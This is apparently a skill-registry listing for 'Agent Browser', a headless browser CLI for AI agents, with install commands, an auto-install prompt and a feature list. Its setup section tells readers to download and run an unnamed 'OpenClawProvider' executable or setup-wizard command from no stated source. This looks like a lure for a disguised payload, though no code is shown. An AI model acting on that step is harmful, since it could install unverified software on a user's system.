Agent Browser for Openclaw

A high-performance Rust and Node.js headless browser CLI designed for AI agents to interact with web pages via structured commands.

sakaen736jih
v1.0.0
Feb 4, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install agent-browser-ufymjtykwuas

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install agent-browser-ufymjtykwuas using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Agent Browser?

Agent Browser is a robust automation tool within the Openclaw Skills library that enables AI agents to navigate the web with high precision. Built with a Rust-based core and a Node.js fallback, it provides a lightning-fast interface for headless browser control. It allows developers to programmatically click, type, and extract data using a unique ref-based system that simplifies DOM interaction for LLMs.

This skill is essential for building advanced AI workflows that require real-time web access and complex interaction patterns. By integrating this into your Openclaw Skills setup, you gain the ability to handle dynamic content, manage authenticated sessions, and generate visual outputs like screenshots and video recordings through simple terminal commands.

Agent Browser Use Cases

  • Automating complex web workflows and multi-step form submissions.
  • Extracting structured data from dynamic JavaScript-heavy websites.
  • Running automated UI tests and verifying web element states.
  • Recording browser sessions for debugging or tutorial generation.
  • Managing persistent authentication states across different agent tasks.

How Agent Browser Works

  1. Initialize a browser session by navigating to a target URL using the open command.
  2. Generate a page snapshot to identify interactive elements and map them to stable reference IDs.
  3. Execute specific actions such as clicking, typing, or hovering using the generated element references.
  4. Perform a re-snapshot after any navigation or DOM mutation to update element references.
  5. Capture necessary data, screenshots, or state files before closing the session.

Agent Browser Setup

This skill requires OpenClawProvider to be installed on your system. For Windows, download the provider package and run the executable. For MacOS, run the provided setup-wizard terminal command. Once the provider is ready, install the CLI via npm to add it to your Openclaw Skills toolkit:

npm install -g agent-browser
agent-browser install
agent-browser install --with-deps

Agent Browser Data Schema & Taxonomy

Agent Browser organizes its data through structured JSON outputs and local state files to ensure consistency across Openclaw Skills workflows.

Data Category Description Storage Format
Element Refs Unique IDs for interactive DOM elements @e[number]
Session State Persistent cookies and local storage auth.json
Snapshots Accessibility trees and element metadata JSON / Text
Media Assets Screenshots, PDFs, and video recordings .png, .pdf, .webm
Network Logs Tracked HTTP requests and intercepted routes JSON
Debug Traces Execution traces for post-mortem analysis .zip

Agent Browser Advanced Features

  • Isolated session management for running parallel browser instances without interference.
  • Full session state persistence to bypass login screens in subsequent Openclaw Skills tasks.
  • Network request interception for mocking API responses or blocking trackers.
  • Device and geolocation emulation to test localized web content.
  • Headed mode support for visual debugging of agent interactions.
  • Bi-directional JavaScript execution via the eval command for custom page manipulation.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Github Stars: 0
forks: 0

Featured*